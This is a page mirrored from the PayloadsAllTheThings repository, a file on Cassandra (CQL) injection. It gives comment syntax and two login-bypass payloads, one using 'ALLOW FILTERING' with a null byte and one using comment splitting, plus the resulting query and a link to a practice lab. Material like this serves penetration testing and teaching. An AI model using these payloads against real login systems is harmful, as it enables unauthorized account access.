ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-23 21:05:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
21d1fe7eee
PayloadsAllTheThings/FIX_SQL Injection/Cassandra Injection.md
Swissky 21d1fe7eee Fix name - Part 1
2019-03-07 00:07:14 +01:00

794 B
Raw Blame History

Cassandra Injection

Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system

Cassandra comment

/* Cassandra Comment */

Cassandra - Login Bypass

Login Bypass 0

username: admin' ALLOW FILTERING; %00
password: ANY

Login Bypass 1

username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;

Example from EternalNoob : https://hack2learn.pw/cassandra/login.php

References